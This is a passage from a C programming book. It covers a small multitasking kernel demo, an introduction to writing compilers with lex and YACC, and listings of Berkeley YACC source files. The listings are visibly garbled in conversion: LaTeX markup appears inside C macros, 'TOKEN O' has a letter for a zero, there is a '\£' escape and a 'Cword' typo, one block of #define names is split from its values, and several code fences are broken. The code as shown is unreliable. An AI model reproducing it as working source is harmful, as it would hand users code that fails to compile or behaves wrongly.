    sprintf(buf, "-T%02d(%02d:%02d:%02d.%02d)",
                curTask, t.ti_hour, t.ti_min, t.ti_sec, t.ti_hund);
    buf[17] = ' ';
    sout(buf);
    OsSemClear(&screenSem);
}
/*---------------------------------------------------------------------
```

void tputs (

## 378 A to Z of C

```
        const char * string
        )
{
    struct time t;
    char buf[100];
    OsSemRequest(&screenSem, OS_INFINITE_WAIT);
    gettime(&t);
    sprintf(buf, "-T%02d(%02d:%02d:%02d.%02d) %s\n",
                    curTask, t.ti_hour, t.ti_min, t.ti_sec, t.ti_hund, string);
    sout(buf);
    OsSemClear(&screenSem);
}
/*-------------------------------------------------------------------------
void sout(
        char * p
        )
{
    while(*p)
    {
        switch(*p)
        {
            case '\r':
                col = 0;
                break;
            case '\n':
                col = 0;
            incRow();
            break;
            case '\t':
            sout(" ");
            break;
            default:
            screen[row][col] = ATTR | ((unsigned int) *p);
            if(++col > 79)
            {
                col = 0;
```

```
                        incRow();
                }
                break;
        }
        p++;
    }
}
/*------------------------------------------------------------------------
void incRow()
{
    int r;
    int c;
    if(++row > 24)
    {
        for(r = 0; r < 24; r++)
            for(c = 0; c < 80; c++)
                screen[r][c] = screen[r + 1][c];
            for(c = 0; c < 80; c++)
                screen[24][c] = ATTR | ((unsigned int) ' ');
        row = 24;
    }
}
/*------------------------------------------------------------------------
void far task0(
        void * pTaskParam
        )
{
    int val = (int) pTaskParam;
    int i;
    long j;
    int rc;
    OsSemWait(&goSem, OS_INFINITE_WAIT);
    tprintf("init val passed = %d\n", val);
    for(i = 0; i < 7; i++)
    {
        rc = OsSemWait(&tickSem, 300L);
        switch(rc)
        {
            case 0:
```


## 380 A to $Z$ of $C$

```
                tputs("OsSemWait successful");
                OsSleep(150L);
                break;
                case TSK_ERR_TIMEOUT:
                    tputs("OsSemWait failed, error = TSK_ERR_TIMEOUT");
                    break;
                default:
                    tprintf("OsSemWait failed, error = %d\n", rc);
                    break;
            }
        OsSleep(100L);
    }
}
/*---------------------------------------------------------------------------
void far task1(
        void * pTaskParam
        )
{
    int val = (int) pTaskParam;
    int i;
    OsSemWait(&goSem, OS_INFINITE_WAIT);
    tprintf("init val passed = %d\n", val);
    for(i = 0; i < 3; i++)
    {
        OsSleep(500L);
        tputs("");
    }
    tputs("clearing tickSem");
    OsSemClear(&tickSem);
    OsSleep(1000L);
    tputs("");
}
/*----------------------------------------------------------------------
void far task2(
```

```
        void * pTaskParam
        )
{
    int val = (int) pTaskParam;
    int i;
    int j;
    tprintf("init val passed = %d\n", val);
    OsSleep(2000L);
    OsSemClear(&goSem);
    for(i = 0; i < 3; i++)
    {
        OsSleepTicks(18L);
        tputs("");
    }
}
/*------------------------------------------------------------------------*/
void far taskNull(
        void * pTaskParam
        )
{
    while(killedTasks != numTasks - 1);
}
```


### 47.2 Good Luck!

Because of the success of Linux, many people are hanging out with the creation of OS. Writing an efficient and neat OS is considered to be tough task because you may need to know more OS fundamentals and hardware details. If you could be able to come out with a new OS, the World would really appreciate you! Good Luck!

## 48 "Those with knowledge have great strength." <br> Developing a new language / writing compiler

Believe it or not, developing a new language is one of the easiest things in programming as we've got so many tools for developing compliers.

### 48.1 Secrets

Developing a new language refers to developing new grammar. Grammar refers to rules of the language.

For example, following is the part of grammar for enum of C :
enum-specifier:
enum identifer \{ enumerator-list\}
enum identifer
enumerator-list:
enumerator
enumerator-list, enumerator

## enumerator:

identifier
identifer $=$ constant-expression
So you need to write your new language's grammar first. By the way, you must decide the data types, keywords and operators too. After preparing grammar you may need to produce a complier for your language to emphasize the merits of your language.

### 48.2 Writing a compiler

### 48.2.1 Compiler

First of all we must know what a compiler is and how it differs from Assembler and Linker.

- Compiler is the one which produces assembly listing (.ASM files) for a given file in high level language. In its first phase, it checks for the syntax and correctness.
- Assembler is the one which produces object (.OBJ) file for a given Assembly file.
- Linker is the one which links various object (.OBJ) files and produces executable files (.EXE or .COM).

Nowadays, we have certain integrated compilers that are able to produce the executable files directly for a given file in high-level language


### 48.2.2 Compiler Secrets

Let's see how our Turbo C compiler works! Understanding the functioning of an existing compiler will help us to write our own compiler.

Let's see how our hello. c program is been compiled by Turbo C.

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```
int main( void )
{
    char *str = "Hello!\n";
    printf("%s", str);
    return( 0 );
}
```

Compile the hello.c program using command line compiler tcc with $-S$ switch to get assembly listing as

```
c:>tcc -S hello.c
```

It will produce hello.asm file.

```
    ifndef ??version
?debug macro
    endm
$comm macro name,dist, size,count
    comm dist name:BYTE:count*size
    endm
    else
$comm macro name,dist,size, count
    comm dist name[size]:BYTE:count
    endm
    endif
    ?debug S "hello.c"
    ?debug C E9EA402E2B0768656C6C6F2E63
_TEXT segment byte public 'CODE'
_TEXT ends
DGROUP group _DATA,_BSS
    assume cs:_TEXT,ds:DGROUP
_DATA segment word public 'DATA'
d@ label byte
d@w label word
_DATA ends
    _BSS segment word public 'BSS'
b@ label byte
b@w label word
_BSS ends
_TEXT segment byte public 'CODE'
        ;
        ; int main( void )
        ;
            assume cs:_TEXT
_main proc near
            push bp
            mov bp,sp
```

```
    sub sp,2
    ;
    {
        char *str = "Hello!\n";
    mov word ptr [bp-2],offset DGROUP:s@
    ;
    ; printf("%s", str);
    ;
    push word ptr [bp-2]
    mov ax,offset DGROUP:s@+8
    push ax
    call near ptr _printf
    pop cx
    pop cx
    ;
    ; return( 0 );
    xor ax,ax
    jmp short @1@58
@1@58:
    ;
    ; }
    ;
        mov sp,bp
        pop bp
        ret
_main endp
    ?debug C E9
_TEXT ends
_DATA segment word public 'DATA'
s@ label byte
    db 'Hello!'
    db }1
    db 0
    db '%s'
    db 0
_DATA ends
_TEXT segment byte public 'CODE'
_TEXT ends
    extrn _printf:near
    public _main
_s@ equ s@
    end
```


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Here you can see how each $C$ statement has been converted to equivalent assembly. The C statements are commented out with semicolon (;) in assembly file. I hope this might give you an idea about how high level statements are converted to equivalent assembly by compiler. Assembly file produced by the compiler can be assembled with the available assembler or with your own assembler.

### 48.3 Compiler-writing tools

As I pointed out, writing a compiler is a bit tough. You need to parse or split the character into meaningful tokens, check grammar and produce assembly listing. A compiler-writing tool would help us to write our own compiler without much overhead. Lex and YACC (Yet Another Compiler-Compiler) are the most famous compiler-writing utilities. Once Lex and YACC were available only to UNIX, but now we've got DOS versions too. DOS versions of lex and YACC are on CD

A typical compiler's source structure discovering task can be divided into

1. Split the source file into tokens. It is a function of lexical analyzer.
2. Find the hierarchical structure of the program. It is a function of parser.

### 48.3.1 lex

The lexical analyzer phase of a compiler is often referred as scanner or tokenizer, and it translates the input into a form that is more usable by the rest of the compiler phases. lex is a lexical anlyzer generator, which means it produces a C file that can be used as a lexical analyzer for the given (new) language.

### 48.3.2 YACC

YACC is a utility that translates the given grammar into a bottom-up parser. That is it would produce a C file that can be used as parser for your language. In otherwords, YACC will produce a compiler code for your new language, if you provide the grammar! It is really a nice tool for developing compiler in an easy and neat manner. Berkeley YACC for MS-DOS by Jeff Jenness \& Stephen C. Trier is a clone of UNIX's YACC and it is a gift to the people who are working under DOS. Wido Kruijtzer also developed another Berkeley YACC for MS-DOS version. More information on YACC, how to input the grammar etc are available on CD.

### 48.3.3 Creating Compiler with lex \& YACC

The following diagram shows how lex \& YACC are used in UNIX environment to produce a compiler for a new language.


With little bit of creativity and compiler-writing utilities, hope you might come out with a new language!

## 49 "If you have lots of good advice, you will win." <br> Writing YACC

YACC( Yet Another Compiler-Compiler) is a compiler writing tool. In this chapter, let's see how to write such a compiler writing tool.

### 49.1 Prelude

YACC was once available to Unix users only. Now we have DOS versions too. When we discussed about writing compilers, we have seen the uses of YACC. YACC gets the grammar for a given (new) language and generates a $C$ file that can be compiled to work as a compiler for that new language. More specifically YACC don't directly generate compiler but generates parser.

YACC uses certain syntax or grammer to represent the grammar for new language. So one must be aware of the syntax used by YACC for its grammar file. As it has to output the compiler file, writing YACC is similar to writing a compiler.

### 49.2 BYACC

From the above discussion, it is clear that writing a YACC is
 really a tough job than writing a compiler! BYACC for DOS (Berkeley YACC for MS-DOS) is one of the good implementations.

### 49.2.1 Brief History

The original YACC was developed by AT\&T. YACC interested many other people in the mean time. Later Berkeley University developed a open YACC and provided the source code to all. So the Berkeley's YACC was appreciated by all the people who are interested in writing compiler. Both AT\&T and Berkeley's YACC was written for Unix environment. At that time, DOS doesn't have such utility. Stephen C. Trier used the source code provided by Berkeley and modified it for DOS and DOS version of YACC came into existence.

### 49.2.2 Source code

Source code of BYACC is more useful to understand the techniques and tactics used by real programmers. Many thanks to Jeff Jenness \& Stephen C. Trier for providing such a good YACC. Following are the set of files used for BYACC. In order to understand the following
source code, you may need to know the syntax used by YACC for writing a grammar file. More documentation can be found on $C D$.

When you look at the source code, you may find that the function prototype declarations are in obsolete form. So you may get obsolete prototype declaration warning. That is because, the source code provided by Berkeley is quite older.

### 49.2.2.1 Def.h

```
#include <assert.h>
#include <ctype.h>
#include <stdio.h>
#ifdef MSDOS
#include <alloc.h>
#endif
```

/* machine dependent definitions */
/* the following definitions are for the VAX */
/* they might have to be changed for other machines */
/* MAXCHAR is the largest unsigned character value */
/* MAXSHORT is the largest value of a C short */
/* MINSHORT is the most negative value of a C short */
/* MAXTABLE is the maximum table size */
/* BITS_PER_WORD is the number of bits in a C unsigned */
/* WORDSIZE computes the number of words needed to */
/* store n bits */
/* BIT returns the value of the $n$-th bit starting */
/* from r (0-indexed) */
/* SETBIT sets the n -th bit starting from r */
\#define MAXCHAR 255
\#define MAXSHORT 32767
\#define MINSHORT -32768
\#define MAXTABLE 32500
\#define BITS_PER_WORD 16
\#define WORDSIZE(n) (((n)+(BITS_PER_WORD-1))/BITS_PER_WORD)
\#ifdef MSDOS
\#define BIT(r, n) ((( n$)[(\mathrm{n})$ >> 4]) >> ((n) \& 15)) \& 1)
\#define SETBIT(r, n) ((r)[(n) >> 4] |= (1 << ( n ) \& 15)))
\#else
\#define $\operatorname{BIT}(\mathrm{r}, \mathrm{n}) \quad(((\mathrm{r})[(\mathrm{n}) \gg 5]) \gg((\mathrm{n}) \& 31)) \& 1)$
\#define $\operatorname{SETBIT}(r, n) \quad((r)[(n) \gg 5] \mid=(($ unsigned $) 1 \ll((n) \& 31)))$
\#endif
/* character names */
\#define NUL '\0' /* the null character */

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```
#define NEWLINE
'\n' /* line feed */
#define SP
#define BS
#define HT
#define VT
#define CR
#define FF
#define QUOTE
#define DOUBLE_QUOTE
#define BACKSLASH
' ' /* space */
'\b' /* backspace */
'\t' /* horizontal tab */
'\013' /* vertical tab */
'\r' /* carriage return */
'\£' /* form feed */
'\'' /* single quote */
'\"' /* double quote */
'\\' /* backslash */
/* defines for constructing filenames */
#ifdef MSDOS
#define CODE_SUFFIX "_code.c"
#define DEFINES_SUFFIX "_tab.h"
#define OUTPUT_SUFFIX "_tab.c"
#define VERBOSE_SUFFIX ".out"
#else
#define CODE_SUFFIX ".code.c"
#define DEFINES_SUFFIX ".tab.h"
#define OUTPUT_SUFFIX ".tab.c"
#define VERBOSE_SUFFIX ".output"
#endif
/* keyword codes */
#define TOKEN O
#define LEFT 1
#define RIGHT 2
#define NONASSOC 3
#define MARK 4
#define TEXT 5
#define TYPE 6
#define START 7
#define UNION 8
#define IDENT 9
/* symbol classes */
#define UNKNOWN 0
#define TERM 1
#define NONTERM 2
/* the undefined value */
#define UNDEFINED (-1)
```

```
/* action codes */
#define SHIFT 1
#define REDUCE 2
#define ERROR 3
/* character macros */
#define IS_IDENT(c) (isalnum(c)||(c) == '_' || (c) == '.' || (c) == '$')
#define IS_OCTAL(c) ((c) >= '0' && (c) <= '7')
#define NUMERIC_VALUE(c) ((c) - '0')
/* symbol macros */
#define ISTOKEN(s) ((s) < start_symbol)
#define ISVAR(s) ((s) >= start_symbol)
/* storage allocation macros */
#define CALLOC(k,n) (calloc((unsigned)(k),(unsigned)(n)))
#define FREE(x) (free((char*)(x)))
#define MALLOC(n) (malloc((unsigned)(n)))
#define NEW(t) ((t*)allocate(sizeof(t)))
#define NEW2(n,t) ((t*)allocate((unsigned)((n)*sizeof(t))))
#define REALLOC(p,n) (realloc((char*)(p),(unsigned)(n)))
/* the structure of a symbol table entry */
typedef struct bucket bucket;
struct bucket
{
    struct bucket *link;
    struct bucket *next;
    char *name;
    char *tag;
    short value;
    short index;
    short prec;
    char class;
    char assoc;
};
/* the structure of the LR(0) state machine */
typedef struct core core;
struct core
{
    struct core *next;
    struct core *link;
    short number;
    short accessing_symbol;
    short nitems;
    short items[1];
};
```


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```
/* the structure used to record shifts */
typedef struct shifts shifts;
struct shifts
{
    struct shifts *next;
    short number;
    short nshifts;
    short shift[1];
};
/* the structure used to store reductions */
typedef struct reductions reductions;
struct reductions
{
    struct reductions *next;
    short number;
    short nreds;
    short rules[1];
};
/* the structure used to represent parser actions */
typedef struct action action;
struct action
{
    struct action *next;
    short symbol;
    short number;
    short prec;
    char action_code;
    char assoc;
    char suppressed;
};
/* global variables */
extern char dflag;
extern char lflag;
extern char rflag;
extern char tflag;
extern char vflag;
extern char *myname;
extern char *cptr;
extern char *line;
```

```
extern int lineno;
extern int outline;
extern char *banner[];
extern char *tables[];
extern char *header[];
extern char *body[];
extern char *trailer[];
extern char *action_file_name;
extern char *code_file_name;
extern char *defines_file_name;
extern char *input_file_name;
extern char *output_file_name;
extern char *text_file_name;
extern char *union_file_name;
extern char *verbose_file_name;
extern FILE *action_file;
extern FILE *code_file;
extern FILE *defines_file;
extern FILE *input_file;
extern FILE *output_file;
extern FILE *text_file;
extern FILE *union_file;
extern FILE *verbose_file;
extern int nitems;
extern int nrules;
extern int nsyms;
extern int ntokens;
extern int nvars;
extern int ntags;
extern char unionized;
extern char line_format[];
extern int start_symbol;
extern char **symbol_name;
extern short *symbol_value;
extern short *symbol_prec;
extern char *symbol_assoc;
extern short *ritem;
extern short *rlhs;
extern short *rrhs;
extern short *rprec;
```


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```
extern char *rassoc;
extern short **derives;
extern char *nullable;
extern bucket *first_symbol;
extern bucket *last_symbol;
extern int nstates;
extern core *first_state;
extern shifts *first_shift;
extern reductions *first_reduction;
extern short *accessing_symbol;
extern core **state_table;
extern shifts **shift_table;
extern reductions **reduction_table;
extern unsigned *LA;
extern short *LAruleno;
extern short *lookaheads;
extern short *goto_map;
extern short *from_state;
extern short *to_state;
extern action **parser;
extern int SRtotal;
extern int RRtotal;
extern short *SRconflicts;
extern short *RRconflicts;
extern short *defred;
extern short *rules_used;
extern short nunused;
extern short final_state;
/* global functions */
extern char *allocate();
extern bucket *lookup();
extern bucket *make_bucket();
/* system variables */
extern int errno;
/* system functions */
#ifndef MSDOS
extern void free();
```

```
extern char *calloc();
extern char *malloc();
extern char *realloc();
extern char *strcpy();
#endif
```


### 49.2.2.2 Closure.c

```
#include "defs.h"
short *itemset;
short *itemsetend;
unsigned *ruleset;
static unsigned *first_derives;
static unsigned *EFF;
set_EFF()
{
    register unsigned *row;
    register int symbol;
    register short *sp;
    register int rowsize;
    register int i;
    register int rule;
    rowsize = WORDSIZE(nvars);
    EFF = NEW2 (nvars * rowsize, unsigned);
    row = EFF;
    for (i = start_symbol; i < nsyms; i++)
    {
        sp = derives[i];
        for (rule = *sp; rule > 0; rule = *++sp)
        {
            symbol = ritem[rrhs[rule]];
            if (ISVAR(symbol))
            {
                symbol -= start_symbol;
                SETBIT(row, symbol);
            }
        }
        row += rowsize;
    }
    reflexive_transitive_closure(EFF, nvars);
```


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```
#ifdef DEBUG
    print_EFF();
#endif
}
set_first_derives()
{
    register unsigned *rrow;
    register unsigned *vrow;
    register int j;
    register unsigned mask;
    register unsigned cword;
    register short *rp;
    int rule;
    int i;
    int rulesetsize;
    int varsetsize;
    rulesetsize = WORDSIZE(nrules);
    varsetsize = WORDSIZE(nvars);
    first_derives = NEW2(nvars * rulesetsize, unsigned) - ntokens *
rulesetsize;
    set_EFF();
    rrow = first_derives + ntokens * rulesetsize;
    for (i = start_symbol; i < nsyms; i++)
        {
            vrow = EFF + ((i - ntokens) * varsetsize);
            cword = *vrow++;
            mask = 1;
            for (j = start_symbol; j < nsyms; j++)
            {
            if (cword & mask)
                {
                    rp = derives[j];
                    while ((rule = *rp++) >= 0)
                    {
                        SETBIT(rrow, rule);
                            }
                }
            mask <<= 1;
```

```
        if (mask == 0)
            {
                Cword = *vrow++;
                mask = 1;
            }
        }
    vrow += varsetsize;
    rrow += rulesetsize;
    }
#ifdef DEBUG
    print_first_derives();
#endif
    FREE (EFF);
}
closure(nucleus, n)
short *nucleus;
int n;
{
    register int ruleno;
    register unsigned word;
    register unsigned mask;
    register short *csp;
    register unsigned *dsp;
    register unsigned *rsp;
    register int rulesetsize;
    short *csend;
    unsigned *rsend;
    int symbol;
    int itemno;
    rulesetsize = WORDSIZE(nrules);
    rsp = ruleset;
    rsend = ruleset + rulesetsize;
    for (rsp = ruleset; rsp < rsend; rsp++)
        *rsp = 0;
    csend = nucleus + n;
    for (csp = nucleus; csp < csend; ++csp)
    {
        symbol = ritem[*csp];
        if (ISVAR(symbol))
        {
            dsp = first_derives + symbol * rulesetsize;
```


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```
        rsp = ruleset;
        while (rsp < rsend)
            *rsp++ |= *dsp++;
    }
}
ruleno = 0;
itemsetend = itemset;
csp = nucleus;
for (rsp = ruleset; rsp < rsend; ++rsp)
{
    word = *rsp;
    if (word == 0)
            ruleno += BITS_PER_WORD;
    else
    {
            mask = 1;
            while (mask)
            {
                if (word & mask)
                {
                            itemno = rrhs[ruleno];
                            while (csp < csend && *csp < itemno)
                            *itemsetend++ = *csp++;
                            *itemsetend++ = itemno;
                                while (csp < csend && *csp == itemno)
                                ++csp;
            }
                    mask <<= 1;
                    ++ruleno;
            }
        }
}
while (csp < csend)
    *itemsetend++ = *csp++;
#ifdef DEBUG
    print_closure(n);
#endif
}
finalize_closure()
{
    FREE(itemset);
    FREE(ruleset);
```

```
    FREE(first_derives + ntokens * WORDSIZE(nrules));
}
#ifdef DEBUG
print_closure(n)
int n;
{
    register short *isp;
    printf("\n\nn = %d\n\n", n);
    for (isp = itemset; isp < itemsetend; isp++)
        printf(" %d\n", *isp);
}
print_EFF()
{
    register int i, j, k;
        register unsigned *rowp;
        register unsigned word;
        register unsigned mask;
        printf("\n\nEpsilon Free Firsts\n");
        for (i = start_symbol; i < nsyms; i++)
        {
            printf("\n%s", symbol_name[i]);
            rowp = EFF + ((i - start_symbol) * WORDSIZE(nvars));
            word = *rowp++;
            mask = 1;
            for (j = 0; j < nvars; j++)
            {
            if (word & mask)
                        printf(" %s", symbol_name[start_symbol + j]);
            mask <<= 1;
            if (mask == 0)
            {
                        word = *rowp++;
                        mask = 1;
            }
            }
        }
}
```


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```
print_first_derives()
{
    register int i;
    register int j;
    register unsigned *rp;
    register unsigned cword;
    register unsigned mask;
    printf("\n\n\nFirst Derives\n");
    for (i = start_symbol; i < nsyms; i++)
        {
            printf("\n%s derives\n", symbol_name[i]);
            rp = first_derives + i * WORDSIZE(nrules);
            cword = *rp++;
            mask = 1;
            for (j = 0; j <= nrules; j++)
                {
                    if (cword & mask)
                    printf(" %d\n", j);
                    mask <<= 1;
                    if (mask == 0)
                        {
                        cword = *rp++;
                        mask = 1;
                }
            }
        }
    fflush(stdout);
}
#endif
```


### 49.2.2.3 Error.c

```
/* routines for printing error messages */
```

/* routines for printing error messages */
\#include "defs.h"
fatal(msg)
char *msg;
{
fprintf(stderr, "%s: f - %s\n", myname, msg);
done(2);
}

```
```

no_space()
{
fprintf(stderr, "%s: f - out of space\n", myname);
done(2);
}
open_error(filename)
char *filename;
{
fprintf(stderr, "%s: f - cannot open \"%s\"\n", myname, filename);
done(2);
}
unexpected_EOF()
{
fprintf(stderr, "%s: e - line %d of \"%s\", unexpected end-of-
file\n",
myname, lineno, input_file_name);
done(1);
}
print_pos(st_line, st_cptr)
char *st_line;
char *st_cptr;
{
register char *s;
if (st_line == 0) return;
for (s = st_line; *s != '\n'; ++s)
{
if (isprint(*s) | *s == '\t')
putc(*s, stderr);
else
putc('?', stderr);
}
putc('\n', stderr);
for (s = st_line; s < st_cptr; ++s)
{
if (*s == '\t')
putc('\t', stderr);
else
putc(' ', stderr);
}
putc('^', stderr);
putc('\n', stderr);
}

```

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```

syntax_error(st_lineno, st_line, st_cptr)
int st_lineno;
char *st_line;
char *st_cptr;
{
fprintf(stderr, "%s: e - line %d of \"%s\", syntax error\n",
myname, st_lineno, input_file_name);
print_pos(st_line, st_cptr);
done(1);
}
unterminated_comment(c_lineno, c_line, c_cptr)
int c_lineno;
char *c_line;
char *c_cptr;
{
fprintf(stderr, "%s: e - line %d of \"%s\", unmatched /*\n",
myname, c_lineno, input_file_name);
print_pos(c_line, c_cptr);
done(1);
}
unterminated_string(s_lineno, s_line, s_cptr)
int s_lineno;
char *s_line;
char *s_cptr;
{
fprintf(stderr, "%s: e - line %d of \"%s\", unterminated string\n",
myname, s_lineno, input_file_name);
print_pos(s_line, s_cptr);
done(1);
}
unterminated_text(t_lineno, t_line, t_cptr)
int t_lineno;
char *t_line;
char *t_cptr;
{
fprintf(stderr, "%s: e - line %d of \"%s\", unmatched %%{\n",
myname, t_lineno, input_file_name);
print_pos(t_line, t_cptr);
done(1);
}
unterminated_union(u_lineno, u_line, u_cptr)
int u_lineno;
char *u_line;

```
```

char *u_cptr;
{
fprintf(stderr, "%s: e - line %d of \"%s\", unterminated %%union \
declaration\n", myname, u_lineno, input_file_name);
print_pos(u_line, u_cptr);
done(1);
}
over_unionized(u_cptr)
char *u_cptr;
{
fprintf(stderr, "%s: e - line %d of \"%s\", too many %%union \
declarations\n", myname, lineno, input_file_name);
print_pos(line, u_cptr);
done(1);
}
illegal_tag(t_lineno, t_line, t_cptr)
int t_lineno;
char *t_line;
char *t_cptr;
{
fprintf(stderr, "%s: e - line %d of \"%s\", illegal tag\n",
myname, t_lineno, input_file_name);
print_pos(t_line, t_cptr);
done(1);
}
illegal_character(c_cptr)
char *c_cptr;
{
fprintf(stderr, "%s: e - line %d of \"%s\", illegal character\n",
myname, lineno, input_file_name);
print_pos(line, c_cptr);
done(1);
}
used_reserved(s)
char *s;
{
fprintf(stderr, "%s: e - line %d of \"%s\", illegal use of reserved
symbol \
%s\n", myname, lineno, input_file_name, s);
done(1);
}
tokenized_start(s)

```

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```

char *s;
{
fprintf(stderr, "%s: e - line %d of \"%s\", the start symbol %s
cannot be \
declared to be a token\n", myname, lineno, input_file_name, s);
done(1);
}
retyped_warning(s)
char *s;
{
fprintf(stderr, "%s: w - line %d of \"%s\", the type of %s has been
\
redeclared\n", myname, lineno, input_file_name, s);
}
reprec_warning(s)
char *s;
{
fprintf(stderr, "%s: w - line %d of \"%s\", the precedence of %s has
been \
redeclared\n", myname, lineno, input_file_name, s);
}
revalued_warning(s)
char *s;
{
fprintf(stderr, "%s: w - line %d of \"%s\", the value of %s has been
\
redeclared\n", myname, lineno, input_file_name, s);
}
terminal_start(s)
char *s;
{
fprintf(stderr, "%s: e - line %d of \"%s\", the start symbol %s is a
\
token\n", myname, lineno, input_file_name, s);
done(1);
}
restarted_warning()
{
fprintf(stderr, "%s: w - line %d of \"%s\", the start symbol has
been \
redeclared\n", myname, lineno, input_file_name);
}

```
```

no_grammar()
{
fprintf(stderr, "%s: e - line %d of \"%s\", no grammar has been \
specified\n", myname, lineno, input_file_name);
done(1);
}
terminal_lhs(s_lineno)
int s_lineno;
{
fprintf(stderr, "%s: e - line %d of \"%s\", a token appears on the
lhs \
of a production\n", myname, s_lineno, input_file_name);
done(1);
}
prec_redeclared()
{
fprintf(stderr, "%s: w - line %d of \"%s\", conflicting %%prec \
specifiers\n", myname, lineno, input_file_name);
}
unterminated_action(a_lineno, a_line, a_cptr)
int a_lineno;
char *a_line;
char *a_cptr;
{
fprintf(stderr, "%s: e - line %d of \"%s\", unterminated action\n",
myname, a_lineno, input_file_name);
print_pos(a_line, a_cptr);
done(1);
}
dollar_warning(a_lineno, i)
int a_lineno;
int i;
{
fprintf(stderr, "%s: w - line %d of \"%s\", \$%d references beyond
the \
end of the current rule\n", myname, a_lineno, input_file_name, i);
}
dollar_error(a_lineno, a_line, a_cptr)
int a_lineno;
char *a_line;

```

\section*{406 A to Z of C}
```

char *a_cptr;
{
fprintf(stderr, "%s: e - line %d of \"%s\", illegal \$-name\n",
myname, a_lineno, input_file_name);
print_pos(a_line, a_cptr);
done(1);
}
untyped_lhs()
{

    fprintf(stderr, "%s: e - line %d of \"%s\", $$ is untyped\n",
        myname, lineno, input_file_name);
    done(1);
    }
untyped_rhs(i, s)
int i;
char *s;
{
fprintf(stderr, "%s: e - line %d of \"%s\", \$%d (%s) is untyped\n",
myname, lineno, input_file_name, i, s);
done(1);
}
unknown_rhs(i)
int i;
{
fprintf(stderr, "%s: e - line %d of \"%s\", \$%d is untyped\n",
myname, lineno, input_file_name, i);
done(1);
}
default_action_warning()
{
fprintf(stderr, "%s: w - line %d of \"%s\", the default action
assigns an \

undefined value to \$\$\n", myname, lineno, input_file_name);
}
undefined_goal(s)
char *s;
{
fprintf(stderr, "%s: e - the start symbol %s is undefined\n",
myname, s);
done(1);
}
``` ```
undefined_symbol_warning(s)
char *s;
{
fprintf(stderr, "%s: w - the symbol %s is undefined\n", myname, s);
}
```

### 49.2.2.4 Lalr.c

```
#include "defs.h"
typedef
    struct shorts
            {
                struct shorts *next;
            short value;
            }
    shorts;
```

int tokensetsize;
short *lookaheads;
short *LAruleno;
unsigned *LA;
short *accessing_symbol;
core **state_table;
shifts **shift_table;
reductions **reduction_table;
short *goto_map;
short *from_state;
short *to_state;
short **transpose();
static int infinity;
static int maxrhs;
static int ngotos;
static unsigned *F;
static short **includes;
static shorts **lookback;
static short **R;
static short *INDEX;
static short *VERTICES;
static int top;
lalr()
\{
tokensetsize $=$ WORDSIZE(ntokens);

## 408 A to $Z$ of C

```
    set_state_table();
    set_accessing_symbol();
    set_shift_table();
    set_reduction_table();
    set_maxrhs();
    initialize_LA();
    set_goto_map();
    initialize_F();
    build_relations();
    compute_FOLLOWS();
    compute_lookaheads();
}
set_state_table()
{
    register core *sp;
    state_table = NEW2(nstates, core *);
    for (sp = first_state; sp; sp = sp->next)
        state_table[sp->number] = sp;
}
set_accessing_symbol()
{
    register core *sp;
    accessing_symbol = NEW2(nstates, short);
    for (sp = first_state; sp; sp = sp->next)
        accessing_symbol[sp->number] = sp->accessing_symbol;
}
set_shift_table()
{
    register shifts *sp;
    shift_table = NEW2(nstates, shifts *);
    for (sp = first_shift; sp; sp = sp->next)
        shift_table[sp->number] = sp;
}
set_reduction_table()
{
    register reductions *rp;
    reduction_table = NEW2(nstates, reductions *);
    for (rp = first_reduction; rp; rp = rp->next)
        reduction_table[rp->number] = rp;
}
```

```
set_maxrhs()
{
    register short *itemp;
    register short *item_end;
    register int length;
    register int max;
    length = 0;
    max = 0;
    item_end = ritem + nitems;
    for (itemp = ritem; itemp < item_end; itemp++)
        {
            if (*itemp >= 0)
            {
                length++;
            }
            else
            {
                if (length > max) max = length;
                length = 0;
            }
        }
    maxrhs = max;
}
initialize_LA()
{
    register int i, j, k;
    register reductions *rp;
    lookaheads = NEW2(nstates + 1, short);
    k = 0;
    for (i = 0; i < nstates; i++)
        {
            lookaheads[i] = k;
            rp = reduction_table[i];
            if (rp)
            k += rp->nreds;
        }
    lookaheads[nstates] = k;
    LA = NEW2(k * tokensetsize, unsigned);
    LAruleno = NEW2(k, short);
    lookback = NEW2(k, shorts *);
```


## 410 A to $Z$ of $C$

```
    k = 0;
    for (i = 0; i < nstates; i++)
        {
            rp = reduction_table[i];
            if (rp)
            {
                for (j = 0; j < rp->nreds; j++)
                {
                        LAruleno[k] = rp->rules[j];
                    k++;
                }
            }
    }
}
set_goto_map()
{
    register shifts *sp;
    register int i;
    register int symbol;
    register int k;
    register short *temp_map;
    register int state2;
    register int state1;
    goto_map = NEW2(nvars + 1, short) - ntokens;
    temp_map = NEW2(nvars + 1, short) - ntokens;
    ngotos = 0;
    for (sp = first_shift; sp; sp = sp->next)
            for (i = sp->nshifts - 1; i >= 0; i--)
            {
                symbol = accessing_symbol[sp->shift[i]];
            if (ISTOKEN(symbol)) break;
            if (ngotos == MAXSHORT)
                fatal("too many gotos");
            ngotos++;
            goto_map[symbol]++;
            }
        }
    k = 0;
```

```
    for (i = ntokens; i < nsyms; i++)
    {
            temp_map[i] = k;
            k += goto_map[i];
        }
    for (i = ntokens; i < nsyms; i++)
    goto_map[i] = temp_map[i];
    goto_map[nsyms] = ngotos;
    temp_map[nsyms] = ngotos;
    from_state = NEW2(ngotos, short);
    to_state = NEW2(ngotos, short);
    for (sp = first_shift; sp; sp = sp->next)
    {
            state1 = sp->number;
            for (i = sp->nshifts - 1; i >= 0; i--)
            {
                state2 = sp->shift[i];
                symbol = accessing_symbol[state2];
                    if (ISTOKEN(symbol)) break;
                    k = temp_map[symbol]++;
                    from_state[k] = state1;
            to_state[k] = state2;
            }
        }
    FREE(temp_map + ntokens);
}
/* Map_goto maps a state/symbol pair into its numeric representation.
    * /
int
map_goto(state, symbol)
int state;
int symbol;
{
    register int high;
    register int low;
    register int middle;
    register int s;
    low = goto_map[symbol];
```


## 412 A to Z of C

```
    high = goto_map[symbol + 1];
    for (;;)
    {
    assert(low <= high);
    middle = (low + high) >> 1;
    s = from_state[middle];
    if (s == state)
            return (middle);
    else if (s < state)
            low = middle + 1;
    else
            high = middle - 1;
}
}
initialize_F()
{
    register int i;
    register int j;
    register int k;
    register shifts *sp;
    register short *edge;
    register unsigned *rowp;
    register short *rp;
    register short **reads;
    register int nedges;
    register int stateno;
    register int symbol;
    register int nwords;
    nwords = ngotos * tokensetsize;
    F = NEW2 (nwords, unsigned);
    reads = NEW2(ngotos, short *);
    edge = NEW2(ngotos + 1, short);
    nedges = 0;
    rowp = F;
    for (i = 0; i < ngotos; i++)
        {
            stateno = to_state[i];
